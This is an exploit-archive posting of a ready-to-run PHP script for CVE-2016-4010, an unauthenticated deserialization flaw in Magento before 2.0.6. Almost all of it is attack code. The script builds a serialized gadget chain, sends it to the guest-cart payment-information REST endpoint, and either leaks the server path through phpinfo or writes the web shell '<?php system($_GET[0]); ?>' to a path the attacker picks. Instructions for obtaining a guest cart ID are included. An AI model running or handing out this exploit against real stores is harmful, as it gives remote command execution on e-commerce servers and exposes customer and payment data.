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Magento Unauthenticated Arbitrary File Write

Magento Unauthenticated Arbitrary File Write
Posted May 18, 2016
Authored by agix

Magento versions prior to 2.0.6 suffer from an unauthenticated arbitrary unserialize to arbitrary write file vulnerability.

tags | exploit, arbitrary
advisories | CVE-2016-4010
MD5 | d31ccbe1e100b364b0c5b9877a391d99

Magento Unauthenticated Arbitrary File Write

Change Mirror Download
<?php

// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
// Date: 18/05/206
// Exploit Author: agix (discovered by NETANEL RUBIN)
// Vendor Homepage: https://magento.com
// Version: < 2.0.6
// CVE : CVE-2016-4010

// to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
//
// If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.


class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
{
function __construct($data){
$this->_data = $data;
}
}

class Credis_Client{
const TYPE_STRING = 'string';
const TYPE_LIST = 'list';
const TYPE_SET = 'set';
const TYPE_ZSET = 'zset';
const TYPE_HASH = 'hash';
const TYPE_NONE = 'none';
const FREAD_BLOCK_SIZE = 8192;

/**
* Socket connection to the Redis server or Redis library instance
* @var resource|Redis
*/
protected $redis;
protected $redisMulti;

/**
* Host of the Redis server
* @var string
*/
protected $host;

/**
* Port on which the Redis server is running
* @var integer
*/
protected $port;

/**
* Timeout for connecting to Redis server
* @var float
*/
protected $timeout;

/**
* Timeout for reading response from Redis server
* @var float
*/
protected $readTimeout;

/**
* Unique identifier for persistent connections
* @var string
*/
protected $persistent;

/**
* @var bool
*/
protected $closeOnDestruct = TRUE;

/**
* @var bool
*/
protected $connected = TRUE;

/**
* @var bool
*/
protected $standalone;

/**
* @var int
*/
protected $maxConnectRetries = 0;

/**
* @var int
*/
protected $connectFailures = 0;

/**
* @var bool
*/
protected $usePipeline = FALSE;

/**
* @var array
*/
protected $commandNames;

/**
* @var string
*/
protected $commands;

/**
* @var bool
*/
protected $isMulti = FALSE;

/**
* @var bool
*/
protected $isWatching = FALSE;

/**
* @var string
*/
protected $authPassword;

/**
* @var int
*/
protected $selectedDb = 0;

/**
* Aliases for backwards compatibility with phpredis
* @var array
*/
protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');

/**
* @var array
*/
protected $renamedCommands;

/**
* @var int
*/
protected $requests = 0;


public function __construct($resource) {
$this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
}
}

class DataObject
{
/**
* Object attributes
*
* @var array
*/
protected $_data = [];

/**
* Setter/Getter underscore transformation cache
*
* @var array
*/
protected static $_underscoreCache = [];
}

abstract class AbstractModel2 extends DataObject
{
/**
* Prefix of model events names
*
* @var string
*/
protected $_eventPrefix = 'core_abstract';

/**
* Parameter name in event
*
* In observe method you can use $observer->getEvent()->getObject() in this case
*
* @var string
*/
protected $_eventObject = 'object';

/**
* Name of object id field
*
* @var string
*/
protected $_idFieldName = 'id';

/**
* Data changes flag (true after setData|unsetData call)
* @var $_hasDataChange bool
*/
protected $_hasDataChanges = false;

/**
* Original data that was loaded
*
* @var array
*/
protected $_origData;

/**
* Object delete flag
*
* @var bool
*/
protected $_isDeleted = false;

/**
* Resource model instance
*
* @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb
*/
protected $_resource;

/**
* Resource collection
*
* @var \Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
*/
protected $_resourceCollection;

/**
* Name of the resource model
*
* @var string
*/
protected $_resourceName;

/**
* Name of the resource collection model
*
* @var string
*/
protected $_collectionName;

/**
* Model cache tag for clear cache in after save and after delete
*
* When you use true - all cache will be clean
*
* @var string|array|bool
*/
protected $_cacheTag = false;

/**
* Flag which can stop data saving after before save
* Can be used for next sequence: we check data in _beforeSave, if data are
* not valid - we can set this flag to false value and save process will be stopped
*
* @var bool
*/
protected $_dataSaveAllowed = true;

/**
* Flag which allow detect object state: is it new object (without id) or existing one (with id)
*
* @var bool
*/
protected $_isObjectNew = null;

/**
* Validator for checking the model state before saving it
*
* @var \Zend_Validate_Interface|bool|null
*/
protected $_validatorBeforeSave = null;

/**
* Application Event Dispatcher
*
* @var \Magento\Framework\Event\ManagerInterface
*/
protected $_eventManager;

/**
* Application Cache Manager
*
* @var \Magento\Framework\App\CacheInterface
*/
protected $_cacheManager;

/**
* @var \Magento\Framework\Registry
*/
protected $_registry;

/**
* @var \Psr\Log\LoggerInterface
*/
protected $_logger;

/**
* @var \Magento\Framework\App\State
*/
protected $_appState;

/**
* @var \Magento\Framework\Model\ActionValidator\RemoveAction
*/
protected $_actionValidator;

/**
* Array to store object's original data
*
* @var array
*/
protected $storedData = [];
}

abstract class AbstractExtensibleModel extends AbstractModel2
{
protected $extensionAttributesFactory;

/**
* @var \Magento\Framework\Api\ExtensionAttributesInterface
*/
protected $extensionAttributes;

/**
* @var AttributeValueFactory
*/
protected $customAttributeFactory;

/**
* @var string[]
*/
protected $customAttributesCodes = null;

/**
* @var bool
*/
protected $customAttributesChanged = false;

}

abstract class AbstractModel extends AbstractExtensibleModel
{
}

class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
{
/**#@+
* Supported transaction types
* @var string
*/
const TYPE_PAYMENT = 'payment';

const TYPE_ORDER = 'order';

const TYPE_AUTH = 'authorization';

const TYPE_CAPTURE = 'capture';

const TYPE_VOID = 'void';

const TYPE_REFUND = 'refund';

/**#@-*/

/**
* Raw details key in additional info
*/
const RAW_DETAILS = 'raw_details_info';

/**
* Order instance
*
* @var \Magento\Sales\Model\Order\Payment
*/
protected $_order = null;

/**
* Parent transaction instance
* @var \Magento\Sales\Model\Order\Payment\Transaction
*/
protected $_parentTransaction = null;

/**
* Child transactions, assoc array of transaction_id => instance
*
* @var array
*/
protected $_children = null;

/**
* Child transactions, assoc array of txn_id => instance
* Filled only in case when all child transactions have txn_id
* Used for quicker search of child transactions using isset() as opposite to foreaching $_children
*
* @var array
*/
protected $_identifiedChildren = null;

/**
* Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
*
* @var bool
*/
protected $_transactionsAutoLinking = true;

/**
* Whether to throw exceptions on different operations
*
* @var bool
*/
protected $_isFailsafe = true;

/**
* Whether transaction has children
*
* @var bool
*/
protected $_hasChild = null;

/**
* Event object prefix
*
* @var string
* @see \Magento\Framework\Model\AbstractModel::$_eventPrefix
*/
protected $_eventPrefix = 'sales_order_payment_transaction';

/**
* Event object prefix
*
* @var string
* @see \Magento\Framework\Model\AbstractModel::$_eventObject
*/
protected $_eventObject = 'order_payment_transaction';

/**
* Order website id
*
* @var int
*/
protected $_orderWebsiteId = null;

/**
* @var \Magento\Sales\Model\OrderFactory
*/
protected $_orderFactory;

/**
* @var \Magento\Framework\Stdlib\DateTime\DateTimeFactory
*/
protected $_dateFactory;

/**
* @var TransactionFactory
*/
protected $_transactionFactory;

/**
* @var \Magento\Sales\Api\OrderPaymentRepositoryInterface
*/
protected $orderPaymentRepository;

/**
* @var \Magento\Sales\Api\OrderRepositoryInterface
*/
protected $orderRepository;

/**
* @param \Magento\Framework\Model\Context $context
* @param \Magento\Framework\Registry $registry
* @param \Magento\Framework\Api\ExtensionAttributesFactory $extensionFactory
* @param AttributeValueFactory $customAttributeFactory
* @param \Magento\Sales\Model\OrderFactory $orderFactory
* @param \Magento\Framework\Stdlib\DateTime\DateTimeFactory $dateFactory
* @param TransactionFactory $transactionFactory
* @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
* @param \Magento\Framework\Data\Collection\AbstractDb $resourceCollection
* @param array $data
* @SuppressWarnings(PHPMD.ExcessiveParameterList)
*/
public function __construct($resource) {
$this->_resource = $resource;
}
}

class Magento_Framework_DB_Transaction{
protected $_objects = [];

/**
* Transaction objects array with alias key
*
* @var array
*/
protected $_objectsByAlias = [];

/**
* Callbacks array.
*
* @var array
*/
protected $_beforeCommitCallbacks = ["phpinfo"];
}

if(count($argv) < 3){
echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
echo 'To get a valid guestCartId'.chr(0x0a);
echo '* add an item in your cart'.chr(0x0a);
echo '* go to checkout'.chr(0x0a);
echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
echo 'If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
exit();
}

if(count($argv) === 4){
$data = [];
$data['is_allowed_to_save'] = True;
$data['stat_file_name'] = $argv[3];
$data['components'] = '<?php system($_GET[0]); ?>';
$resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
}
else{
$resource = new Magento_Framework_DB_Transaction();
}

$redis = new Credis_Client($resource);
$serialized = serialize($redis);

$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "valid@magento.com"}');

$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\\Framework\\DB\\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\\Sales\\Model\\Order\\Payment\\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\\Framework\\Simplexml\\Config\\Cache\\File', $serialized)));

for($i=0; $i<2; $i++){
$c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
curl_exec($c);
curl_close($c);
}

?>

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